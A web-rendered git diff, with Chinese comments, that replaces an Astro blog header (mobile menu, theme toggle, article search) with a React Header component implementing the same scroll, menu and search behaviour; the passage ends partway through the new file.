</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- 移动端搜索面板 -->
|
|
||||||
<div id="mobile-search-panel" class="hidden md:hidden fixed inset-x-0 top-16 p-4 bg-white dark:bg-gray-800 shadow-md z-50 border-t border-gray-200 dark:border-gray-700">
|
|
||||||
<div class="relative">
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
id="mobile-search"
|
|
||||||
class="w-full pl-10 pr-10 py-2 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600 transition-all duration-300"
|
|
||||||
placeholder="搜索文章..."
|
|
||||||
/>
|
|
||||||
<div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
|
|
||||||
<svg class="h-5 w-5 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
|
||||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
|
||||||
</svg>
|
|
||||||
</div>
|
|
||||||
<button
|
|
||||||
id="mobile-search-close"
|
|
||||||
class="absolute inset-y-0 right-0 pr-3 flex items-center text-gray-400 hover:text-gray-600 dark:hover:text-gray-300"
|
|
||||||
aria-label="关闭搜索"
|
|
||||||
>
|
|
||||||
<svg class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
|
||||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
|
|
||||||
</svg>
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
<!-- 移动端搜索结果 -->
|
|
||||||
<div id="mobile-search-results" class="mt-3 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm hidden">
|
|
||||||
<!-- 结果将通过JS动态填充 -->
|
|
||||||
<div class="p-4 text-center text-gray-500 dark:text-gray-400" id="mobile-search-message">
|
|
||||||
<p>输入关键词开始搜索</p>
|
|
||||||
</div>
|
|
||||||
<ul class="divide-y divide-gray-200/70 dark:divide-gray-700/70" id="mobile-search-list"></ul>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- 移动端菜单 -->
|
|
||||||
<div class="hidden md:hidden fixed inset-x-0 top-16 z-40" id="mobile-menu">
|
|
||||||
<div id="mobile-menu-bg">
|
|
||||||
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-2">
|
|
||||||
<div class="grid gap-1">
|
|
||||||
{NAV_LINKS.map(link => (
|
|
||||||
<a
|
|
||||||
href={link.href}
|
|
||||||
class:list={[
|
|
||||||
'flex items-center px-3 py-3 rounded-lg text-base font-medium transition-all duration-200 ease-in-out',
|
|
||||||
normalizedPath === (link.href === '/' ? '' : link.href)
|
|
||||||
? 'text-white bg-primary-600 dark:bg-primary-500 shadow-sm'
|
|
||||||
: 'text-gray-700 dark:text-gray-200 hover:bg-gray-100 dark:hover:bg-gray-800/70'
|
|
||||||
]}
|
|
||||||
>
|
|
||||||
{link.text}
|
|
||||||
</a>
|
|
||||||
))}
|
|
||||||
<div class="mt-2 pt-3 border-t border-gray-200 dark:border-gray-700 flex items-center justify-between cursor-pointer hover:bg-gray-100 dark:hover:bg-gray-800/70 rounded-lg px-3 py-2 transition-colors duration-200" id="theme-toggle-container">
|
|
||||||
<span class="text-sm font-medium text-gray-600 dark:text-gray-300">切换主题</span>
|
|
||||||
<ThemeToggle client:load />
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</nav>
|
|
||||||
</header>
|
|
||||||
|
|
||||||
<style>
|
|
||||||
#header-bg {
|
|
||||||
opacity: 1;
|
|
||||||
backdrop-filter: blur(0);
|
|
||||||
transition: all 0.5s ease;
|
|
||||||
}
|
|
||||||
|
|
||||||
#header-bg.scrolled {
|
|
||||||
backdrop-filter: blur(6px);
|
|
||||||
background: rgba(249, 250, 251, 0.8);
|
|
||||||
box-shadow:
|
|
||||||
0 1px 2px rgba(0, 0, 0, 0.04),
|
|
||||||
0 2px 4px rgba(0, 0, 0, 0.04),
|
|
||||||
0 4px 8px rgba(0, 0, 0, 0.04);
|
|
||||||
}
|
|
||||||
|
|
||||||
:global([data-theme="dark"]) #header-bg.scrolled {
|
|
||||||
background: rgba(15, 23, 42, 0.8);
|
|
||||||
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.3), 0 2px 4px -1px rgba(0, 0, 0, 0.2);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移动端菜单样式 */
|
|
||||||
#mobile-menu {
|
|
||||||
/* 移除过渡效果,确保菜单内容立即显示 */
|
|
||||||
opacity: 1;
|
|
||||||
transform: translateY(0);
|
|
||||||
max-height: calc(100vh - 4rem);
|
|
||||||
overflow-y: auto;
|
|
||||||
/* 确保子元素不受过渡效果影响 */
|
|
||||||
contain: layout;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移动端菜单背景 */
|
|
||||||
#mobile-menu-bg {
|
|
||||||
/* 直接应用高斯模糊,不使用过渡效果 */
|
|
||||||
-webkit-backdrop-filter: blur(6px);
|
|
||||||
backdrop-filter: blur(6px);
|
|
||||||
background: rgba(249, 250, 251, 0.8);
|
|
||||||
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.04);
|
|
||||||
/* 确保高斯模糊立即应用 */
|
|
||||||
will-change: backdrop-filter;
|
|
||||||
}
|
|
||||||
|
|
||||||
:global([data-theme="dark"]) #mobile-menu-bg {
|
|
||||||
background: rgba(15, 23, 42, 0.8);
|
|
||||||
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.3);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 搜索面板动画 */
|
|
||||||
#mobile-search-panel.show {
|
|
||||||
animation: slide-down 0.2s ease-out forwards;
|
|
||||||
}
|
|
||||||
|
|
||||||
@keyframes slide-down {
|
|
||||||
0% {
|
|
||||||
opacity: 0;
|
|
||||||
transform: translateY(-10px);
|
|
||||||
}
|
|
||||||
100% {
|
|
||||||
opacity: 1;
|
|
||||||
transform: translateY(0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
|
|
||||||
<script>
|
|
||||||
// 确保脚本适用于视图转换
|
|
||||||
function initHeader() {
|
|
||||||
const header = document.getElementById('header-bg');
|
|
||||||
const scrollThreshold = 50;
|
|
||||||
|
|
||||||
function updateHeaderBackground() {
|
|
||||||
if (window.scrollY > scrollThreshold) {
|
|
||||||
header?.classList.add('scrolled');
|
|
||||||
} else {
|
|
||||||
header?.classList.remove('scrolled');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始检查
|
|
||||||
updateHeaderBackground();
|
|
||||||
|
|
||||||
// 添加滚动事件监听
|
|
||||||
window.addEventListener('scroll', updateHeaderBackground);
|
|
||||||
|
|
||||||
// 移动端菜单逻辑
|
|
||||||
const mobileMenuButton = document.getElementById('mobile-menu-button');
|
|
||||||
const mobileMenu = document.getElementById('mobile-menu');
|
|
||||||
const menuOpenIcon = document.getElementById('menu-open-icon');
|
|
||||||
const menuCloseIcon = document.getElementById('menu-close-icon');
|
|
||||||
|
|
||||||
if (mobileMenuButton && mobileMenu && menuOpenIcon && menuCloseIcon) {
|
|
||||||
mobileMenuButton.addEventListener('click', () => {
|
|
||||||
const expanded = mobileMenuButton.getAttribute('aria-expanded') === 'true';
|
|
||||||
|
|
||||||
// 切换菜单状态
|
|
||||||
mobileMenuButton.setAttribute('aria-expanded', (!expanded).toString());
|
|
||||||
|
|
||||||
if (expanded) {
|
|
||||||
// 直接隐藏菜单,不使用过渡效果
|
|
||||||
mobileMenu.classList.add('hidden');
|
|
||||||
} else {
|
|
||||||
// 直接显示菜单,不使用过渡效果
|
|
||||||
mobileMenu.classList.remove('hidden');
|
|
||||||
}
|
|
||||||
|
|
||||||
// 切换图标
|
|
||||||
menuOpenIcon.classList.toggle('hidden');
|
|
||||||
menuCloseIcon.classList.toggle('hidden');
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 移动端主题切换容器点击处理
|
|
||||||
const themeToggleContainer = document.getElementById('theme-toggle-container');
|
|
||||||
|
|
||||||
if (themeToggleContainer) {
|
|
||||||
themeToggleContainer.addEventListener('click', (e) => {
|
|
||||||
const target = e.target as HTMLElement;
|
|
||||||
const themeToggleButton = themeToggleContainer.querySelector('[role="button"]');
|
|
||||||
|
|
||||||
// 如果点击的不是主题切换按钮本身,而是容器或文本
|
|
||||||
if (themeToggleButton instanceof HTMLElement && target !== themeToggleButton && !themeToggleButton.contains(target)) {
|
|
||||||
// 手动触发主题切换按钮的点击
|
|
||||||
themeToggleButton.click();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 移动端搜索按钮
|
|
||||||
const mobileSearchButton = document.getElementById('mobile-search-button');
|
|
||||||
const mobileSearchPanel = document.getElementById('mobile-search-panel');
|
|
||||||
const mobileSearch = document.getElementById('mobile-search');
|
|
||||||
const mobileSearchClose = document.getElementById('mobile-search-close');
|
|
||||||
|
|
||||||
if (mobileSearchButton && mobileSearchPanel) {
|
|
||||||
mobileSearchButton.addEventListener('click', () => {
|
|
||||||
mobileSearchPanel.classList.remove('hidden');
|
|
||||||
mobileSearchPanel.classList.add('show');
|
|
||||||
if (mobileSearch) mobileSearch.focus();
|
|
||||||
});
|
|
||||||
|
|
||||||
if (mobileSearchClose) {
|
|
||||||
mobileSearchClose.addEventListener('click', () => {
|
|
||||||
mobileSearchPanel.classList.add('hidden');
|
|
||||||
mobileSearchPanel.classList.remove('show');
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 搜索功能逻辑
|
|
||||||
function initSearch() {
|
|
||||||
// 搜索节流函数
|
|
||||||
function debounce<T extends (...args: any[]) => void>(func: T, wait: number): (...args: Parameters<T>) => void {
|
|
||||||
let timeout: ReturnType<typeof setTimeout> | undefined;
|
|
||||||
return function(this: any, ...args: Parameters<T>): void {
|
|
||||||
clearTimeout(timeout);
|
|
||||||
timeout = setTimeout(() => func.apply(this, args), wait);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取DOM元素
|
|
||||||
const desktopSearch = document.getElementById('desktop-search');
|
|
||||||
const desktopResults = document.getElementById('desktop-search-results');
|
|
||||||
const desktopList = document.getElementById('desktop-search-list');
|
|
||||||
const desktopMessage = document.getElementById('desktop-search-message');
|
|
||||||
|
|
||||||
const mobileSearch = document.getElementById('mobile-search');
|
|
||||||
const mobileResults = document.getElementById('mobile-search-results');
|
|
||||||
const mobileList = document.getElementById('mobile-search-list');
|
|
||||||
const mobileMessage = document.getElementById('mobile-search-message');
|
|
||||||
|
|
||||||
// 文章对象的接口定义
|
|
||||||
interface Article {
|
|
||||||
id: string;
|
|
||||||
title: string;
|
|
||||||
date: string | Date;
|
|
||||||
summary?: string;
|
|
||||||
tags?: string[];
|
|
||||||
image?: string;
|
|
||||||
content?: string;
|
|
||||||
}
|
|
||||||
|
|
||||||
let articles: Article[] = [];
|
|
||||||
let isArticlesLoaded = false;
|
|
||||||
|
|
||||||
// 获取文章数据
|
|
||||||
async function fetchArticles() {
|
|
||||||
if (isArticlesLoaded && articles.length > 0) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
const response = await fetch('/api/search');
|
|
||||||
if (!response.ok) {
|
|
||||||
throw new Error('获取文章数据失败');
|
|
||||||
}
|
|
||||||
articles = await response.json();
|
|
||||||
isArticlesLoaded = true;
|
|
||||||
} catch (error) {
|
|
||||||
console.error('获取文章失败:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 高亮文本中的匹配部分
|
|
||||||
function highlightText(text: string, query: string): string {
|
|
||||||
if (!text || !query.trim()) return text;
|
|
||||||
|
|
||||||
// 转义正则表达式中的特殊字符
|
|
||||||
const escapedQuery = query.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
|
||||||
const regex = new RegExp(`(${escapedQuery})`, 'gi');
|
|
||||||
|
|
||||||
return text.replace(regex, '<mark class="bg-yellow-100 dark:bg-yellow-900/30 text-gray-900 dark:text-gray-100 px-0.5 rounded">$1</mark>');
|
|
||||||
}
|
|
||||||
|
|
||||||
// 搜索文章
|
|
||||||
function searchArticles(query: string, resultsList: HTMLElement, resultsMessage: HTMLElement) {
|
|
||||||
if (!query.trim()) {
|
|
||||||
resultsList.innerHTML = '';
|
|
||||||
resultsMessage.textContent = '输入关键词开始搜索';
|
|
||||||
resultsMessage.style.display = 'block';
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (articles.length === 0) {
|
|
||||||
resultsMessage.textContent = '正在加载数据...';
|
|
||||||
resultsMessage.style.display = 'block';
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const lowerQuery = query.toLowerCase();
|
|
||||||
|
|
||||||
// 过滤并排序结果
|
|
||||||
const filteredArticles = articles
|
|
||||||
.filter((article: Article) => {
|
|
||||||
const title = article.title.toLowerCase();
|
|
||||||
const tags = article.tags ? article.tags.map((tag: string) => tag.toLowerCase()) : [];
|
|
||||||
const summary = article.summary ? article.summary.toLowerCase() : '';
|
|
||||||
const content = article.content ? article.content.toLowerCase() : '';
|
|
||||||
|
|
||||||
return title.includes(lowerQuery) ||
|
|
||||||
tags.some((tag: string) => tag.includes(lowerQuery)) ||
|
|
||||||
summary.includes(lowerQuery) ||
|
|
||||||
content.includes(lowerQuery);
|
|
||||||
})
|
|
||||||
.sort((a: Article, b: Article) => {
|
|
||||||
// 标题匹配优先
|
|
||||||
const aTitle = a.title.toLowerCase();
|
|
||||||
const bTitle = b.title.toLowerCase();
|
|
||||||
|
|
||||||
if (aTitle.includes(lowerQuery) && !bTitle.includes(lowerQuery)) {
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
if (!aTitle.includes(lowerQuery) && bTitle.includes(lowerQuery)) {
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 内容匹配次之
|
|
||||||
const aContent = a.content ? a.content.toLowerCase() : '';
|
|
||||||
const bContent = b.content ? b.content.toLowerCase() : '';
|
|
||||||
|
|
||||||
if (aContent.includes(lowerQuery) && !bContent.includes(lowerQuery)) {
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
if (!aContent.includes(lowerQuery) && bContent.includes(lowerQuery)) {
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 日期排序
|
|
||||||
return new Date(b.date).getTime() - new Date(a.date).getTime();
|
|
||||||
})
|
|
||||||
.slice(0, 10); // 限制结果数量
|
|
||||||
|
|
||||||
if (filteredArticles.length === 0) {
|
|
||||||
resultsList.innerHTML = '';
|
|
||||||
resultsMessage.textContent = '没有找到相关内容';
|
|
||||||
resultsMessage.style.display = 'block';
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 显示结果
|
|
||||||
resultsMessage.style.display = 'none';
|
|
||||||
resultsList.innerHTML = filteredArticles.map((article: Article) => {
|
|
||||||
// 生成匹配的内容片段
|
|
||||||
let contentMatch = '';
|
|
||||||
if (article.content && article.content.toLowerCase().includes(lowerQuery)) {
|
|
||||||
// 找到匹配文本在内容中的位置
|
|
||||||
const matchIndex = article.content.toLowerCase().indexOf(lowerQuery);
|
|
||||||
// 计算片段的起始和结束位置
|
|
||||||
const startPos = Math.max(0, matchIndex - 50);
|
|
||||||
const endPos = Math.min(article.content.length, matchIndex + 100);
|
|
||||||
// 提取片段
|
|
||||||
let snippet = article.content.substring(startPos, endPos);
|
|
||||||
// 如果不是从文章开头开始,添加省略号
|
|
||||||
if (startPos > 0) {
|
|
||||||
snippet = '...' + snippet;
|
|
||||||
}
|
|
||||||
// 如果不是到文章结尾,添加省略号
|
|
||||||
if (endPos < article.content.length) {
|
|
||||||
snippet = snippet + '...';
|
|
||||||
}
|
|
||||||
// 高亮匹配的文本
|
|
||||||
snippet = highlightText(snippet, query);
|
|
||||||
contentMatch = `<p class="text-xs text-gray-500 dark:text-gray-400 mt-1 line-clamp-2">${snippet}</p>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 高亮标题和摘要中的匹配文本
|
|
||||||
const highlightedTitle = highlightText(article.title, query);
|
|
||||||
const highlightedSummary = article.summary ? highlightText(article.summary, query) : '';
|
|
||||||
|
|
||||||
return `
|
|
||||||
<li>
|
|
||||||
<a href="/articles/${article.id}" class="block px-4 py-3 hover:bg-gray-100 dark:hover:bg-gray-700/70 transition-colors duration-200">
|
|
||||||
<h3 class="text-sm font-medium text-gray-800 dark:text-gray-200 truncate">${highlightedTitle}</h3>
|
|
||||||
${article.summary ? `<p class="text-xs text-gray-500 dark:text-gray-400 mt-1 truncate">${highlightedSummary}</p>` : ''}
|
|
||||||
${contentMatch}
|
|
||||||
${article.tags && article.tags.length > 0 ? `
|
|
||||||
<div class="flex flex-wrap gap-1 mt-1.5">
|
|
||||||
${article.tags.slice(0, 3).map((tag: string) => `
|
|
||||||
<span class="inline-block text-xs bg-primary-50/50 dark:bg-primary-900/20 text-primary-600 dark:text-primary-400 py-0.5 px-1.5 rounded-full">#${tag}</span>
|
|
||||||
`).join('')}
|
|
||||||
${article.tags.length > 3 ? `<span class="text-xs text-gray-400 dark:text-gray-500">+${article.tags.length - 3}</span>` : ''}
|
|
||||||
</div>
|
|
||||||
` : ''}
|
|
||||||
</a>
|
|
||||||
</li>
|
|
||||||
`}).join('');
|
|
||||||
}
|
|
||||||
|
|
||||||
// 节流搜索
|
|
||||||
const debouncedDesktopSearch = debounce((value: string) => {
|
|
||||||
if (desktopList && desktopMessage) {
|
|
||||||
searchArticles(value, desktopList as HTMLElement, desktopMessage as HTMLElement);
|
|
||||||
}
|
|
||||||
}, 300);
|
|
||||||
|
|
||||||
const debouncedMobileSearch = debounce((value: string) => {
|
|
||||||
if (mobileList && mobileMessage) {
|
|
||||||
searchArticles(value, mobileList as HTMLElement, mobileMessage as HTMLElement);
|
|
||||||
}
|
|
||||||
}, 300);
|
|
||||||
|
|
||||||
// 桌面端搜索逻辑
|
|
||||||
if (desktopSearch && desktopResults) {
|
|
||||||
desktopSearch.addEventListener('focus', () => {
|
|
||||||
desktopResults.classList.remove('hidden');
|
|
||||||
if (!isArticlesLoaded) fetchArticles();
|
|
||||||
});
|
|
||||||
|
|
||||||
desktopSearch.addEventListener('input', (e: Event) => {
|
|
||||||
const target = e.target as HTMLInputElement;
|
|
||||||
if (target && target.value !== undefined) {
|
|
||||||
debouncedDesktopSearch(target.value);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 点击外部关闭结果
|
|
||||||
document.addEventListener('click', (e: MouseEvent) => {
|
|
||||||
const target = e.target as Node;
|
|
||||||
if (desktopSearch && !desktopSearch.contains(target) && !desktopResults.contains(target)) {
|
|
||||||
desktopResults.classList.add('hidden');
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// ESC键关闭结果
|
|
||||||
desktopSearch.addEventListener('keydown', (e: KeyboardEvent) => {
|
|
||||||
if (e.key === 'Escape') {
|
|
||||||
desktopResults.classList.add('hidden');
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 移动端搜索逻辑
|
|
||||||
if (mobileSearch && mobileResults) {
|
|
||||||
mobileSearch.addEventListener('input', (e: Event) => {
|
|
||||||
mobileResults.classList.remove('hidden');
|
|
||||||
const target = e.target as HTMLInputElement;
|
|
||||||
if (target && target.value !== undefined) {
|
|
||||||
debouncedMobileSearch(target.value);
|
|
||||||
if (!isArticlesLoaded) fetchArticles();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// ESC键关闭搜索面板
|
|
||||||
mobileSearch.addEventListener('keydown', (e: KeyboardEvent) => {
|
|
||||||
if (e.key === 'Escape') {
|
|
||||||
const mobileSearchPanel = document.getElementById('mobile-search-panel');
|
|
||||||
if (mobileSearchPanel) {
|
|
||||||
mobileSearchPanel.classList.add('hidden');
|
|
||||||
mobileSearchPanel.classList.remove('show');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始化函数
|
|
||||||
function setupHeader() {
|
|
||||||
initHeader();
|
|
||||||
initSearch();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 在文档加载时初始化一次
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', setupHeader);
|
|
||||||
} else {
|
|
||||||
setupHeader();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 支持 Astro 视图转换
|
|
||||||
document.addEventListener('astro:swup:page:view', setupHeader);
|
|
||||||
|
|
||||||
// 清理
|
|
||||||
document.addEventListener('astro:before-swap', () => {
|
|
||||||
// 移除可能的全局事件监听器
|
|
||||||
window.removeEventListener('scroll', () => {});
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
|
|
421
src/components/Header.tsx
Normal file
421
src/components/Header.tsx
Normal file
@ -0,0 +1,421 @@
|
|||||||
|
import { useEffect, useState, useRef } from 'react';
|
||||||
|
import { SITE_NAME, NAV_LINKS } from '@/consts.ts';
|
||||||
|
import { ThemeToggle } from './ThemeToggle';
|
||||||
|
import '@/styles/header.css';
|
||||||
|
|
||||||
|
|
||||||
|
// 文章对象类型定义
|
||||||
|
interface Article {
|
||||||
|
id: string;
|
||||||
|
title: string;
|
||||||
|
date: string | Date;
|
||||||
|
summary?: string;
|
||||||
|
tags?: string[];
|
||||||
|
image?: string;
|
||||||
|
content?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function Header() {
|
||||||
|
// 状态定义
|
||||||
|
const [scrolled, setScrolled] = useState(false);
|
||||||
|
const [mobileMenuOpen, setMobileMenuOpen] = useState(false);
|
||||||
|
const [mobileSearchOpen, setMobileSearchOpen] = useState(false);
|
||||||
|
const [articles, setArticles] = useState<Article[]>([]);
|
||||||
|
const [isArticlesLoaded, setIsArticlesLoaded] = useState(false);
|
||||||
|
const [searchQuery, setSearchQuery] = useState('');
|
||||||
|
const [desktopSearchFocused, setDesktopSearchFocused] = useState(false);
|
||||||
|
|
||||||
|
// 获取当前路径 (使用window.location.pathname)
|
||||||
|
const [pathname, setPathname] = useState('/');
|
||||||
|
useEffect(() => {
|
||||||
|
setPathname(window.location.pathname);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
// 移除结尾的斜杠以统一路径格式
|
||||||
|
const normalizedPath = pathname?.endsWith('/') ? pathname.slice(0, -1) : pathname;
|
||||||
|
|
||||||
|
// 引用
|
||||||
|
const desktopSearchRef = useRef<HTMLInputElement>(null);
|
||||||
|
const desktopResultsRef = useRef<HTMLDivElement>(null);
|
||||||
|
const mobileSearchRef = useRef<HTMLInputElement>(null);
|
||||||
|
const searchTimeoutRef = useRef<NodeJS.Timeout | null>(null);
|
||||||
|
|
||||||
|
// 处理滚动效果
|
||||||
|
useEffect(() => {
|
||||||
|
const scrollThreshold = 50;
|
||||||
|
|
||||||
|
function updateHeaderBackground() {
|
||||||
|
if (window.scrollY > scrollThreshold) {
|
||||||
|
setScrolled(true);
|
||||||
|
} else {
|
||||||
|
setScrolled(false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 初始检查
|
||||||
|
updateHeaderBackground();
|
||||||
|
|
||||||
|
// 添加滚动事件监听
|
||||||
|
window.addEventListener('scroll', updateHeaderBackground);
|
||||||
|
|
||||||
|
// 清理
|
||||||
|
return () => window.removeEventListener('scroll', updateHeaderBackground);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
// 搜索节流函数
|
||||||
|
function debounce<T extends (...args: any[]) => void>(func: T, wait: number): (...args: Parameters<T>) => void {
|
||||||
|
let timeout: ReturnType<typeof setTimeout> | undefined;
|
||||||
|
return function(this: any, ...args: Parameters<T>): void {
|
||||||
|
clearTimeout(timeout);
|
||||||
|
timeout = setTimeout(() => func.apply(this, args), wait);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取文章数据
|
||||||
|
async function fetchArticles() {
|
||||||
|
if (isArticlesLoaded && articles.length > 0) return;
|
||||||
|
|
||||||
|
try {
|
||||||
|
const response = await fetch('/api/search');
|
||||||
|
if (!response.ok) {
|
||||||
|
throw new Error('获取文章数据失败');
|
||||||
|
}
|
||||||
|
const data = await response.json();
|
||||||
|
setArticles(data);
|
||||||
|
setIsArticlesLoaded(true);
|
||||||
|
} catch (error) {
|
||||||
|
console.error('获取文章失败:', error);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 高亮文本中的匹配部分
|
||||||
|
function highlightText(text: string, query: string): string {
|
||||||
|
if (!text || !query.trim()) return text;
|
||||||
|
|
||||||
|
// 转义正则表达式中的特殊字符
|
||||||
|
const escapedQuery = query.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
||||||
|
const regex = new RegExp(`(${escapedQuery})`, 'gi');
|
||||||
|
|
||||||
|
return text.replace(regex, '<mark class="bg-yellow-100 dark:bg-yellow-900/30 text-gray-900 dark:text-gray-100 px-0.5 rounded">$1</mark>');
|
||||||
|
}
|
||||||
|
|
||||||
|
// 搜索文章逻辑
|
||||||
|
const debouncedSearch = debounce((query: string) => {
|
||||||
|
setSearchQuery(query);
|
||||||
|
}, 300);
|
||||||
|
|
||||||
|
// 点击页面其他区域关闭搜索结果
|
||||||
|
useEffect(() => {
|
||||||
|
function handleClickOutside(event: MouseEvent) {
|
||||||
|
if (
|
||||||
|
desktopSearchRef.current &&
|
||||||
|
desktopResultsRef.current &&
|
||||||
|
!desktopSearchRef.current.contains(event.target as Node) &&
|
||||||
|
!desktopResultsRef.current.contains(event.target as Node)
|
||||||
|
) {
|
||||||
|
setDesktopSearchFocused(false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
document.addEventListener('mousedown', handleClickOutside);
|
||||||
|
return () => document.removeEventListener('mousedown', handleClickOutside);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
// 处理ESC键
|
||||||
|
useEffect(() => {
|
||||||
|
function handleKeyDown(e: KeyboardEvent) {
|
||||||
|
if (e.key === 'Escape') {
|
||||||
|
setDesktopSearchFocused(false);
|
||||||
|
setMobileSearchOpen(false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
document.addEventListener('keydown', handleKeyDown);
|
||||||
|
return () => document.removeEventListener('keydown', handleKeyDown);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
// 搜索结果处理
|
||||||
|
const getFilteredArticles = () => {
|
||||||
|
if (!searchQuery.trim()) return [];
|
||||||
|
|
||||||
|
const lowerQuery = searchQuery.toLowerCase();
|
||||||
|
|
||||||
|
return articles
|
||||||
|
.filter((article: Article) => {
|
||||||
|
const title = article.title.toLowerCase();
|
||||||
|
const tags = article.tags ? article.tags.map((tag: string) => tag.toLowerCase()) : [];
|
||||||
|
const summary = article.summary ? article.summary.toLowerCase() : '';
|
||||||
|
const content = article.content ? article.content.toLowerCase() : '';
|
||||||
|
|
||||||
|
return title.includes(lowerQuery) ||
|
||||||
|
tags.some((tag: string) => tag.includes(lowerQuery)) ||
|
||||||
|
summary.includes(lowerQuery) ||
|
||||||
|
content.includes(lowerQuery);
|
||||||
|
})
|
||||||
|
.sort((a: Article, b: Article) => {
|
||||||
|
// 标题匹配优先
|
||||||
|
const aTitle = a.title.toLowerCase();
|
||||||
|
const bTitle = b.title.toLowerCase();
|
||||||
|
|
||||||
|
if (aTitle.includes(lowerQuery) && !bTitle.includes(lowerQuery)) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (!aTitle.includes(lowerQuery) && bTitle.includes(lowerQuery)) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 内容匹配次之
|
||||||
|
const aContent = a.content ? a.content.toLowerCase() : '';
|
||||||
|
const bContent = b.content ? b.content.toLowerCase() : '';
|
||||||
|
|
||||||
|
if (aContent.includes(lowerQuery) && !bContent.includes(lowerQuery)) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (!aContent.includes(lowerQuery) && bContent.includes(lowerQuery)) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 日期排序
|
||||||
|
return new Date(b.date).getTime() - new Date(a.date).getTime();
|
||||||
|
})
|
||||||
|
.slice(0, 10); // 限制结果数量
|
||||||
|
};
|
||||||
|
|
||||||
|
// 生成搜索结果列表项
|
||||||
|
const renderSearchResults = () => {
|
||||||
|
const filteredArticles = getFilteredArticles();
|
||||||
|
if (filteredArticles.length === 0) {
|
||||||
|
return (
|
||||||
|
<div className="py-4 px-4 text-center text-gray-500 dark:text-gray-400">
|
||||||
|
没有找到相关文章
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<ul className="py-2">
|
||||||
|
{filteredArticles.map(article => {
|
||||||
|
return (
|
||||||
|
<li key={article.id} className="group">
|
||||||
|
<a href={`/articles/${article.id}`} className="block px-4 py-3 hover:bg-gray-100 dark:hover:bg-gray-700/70">
|
||||||
|
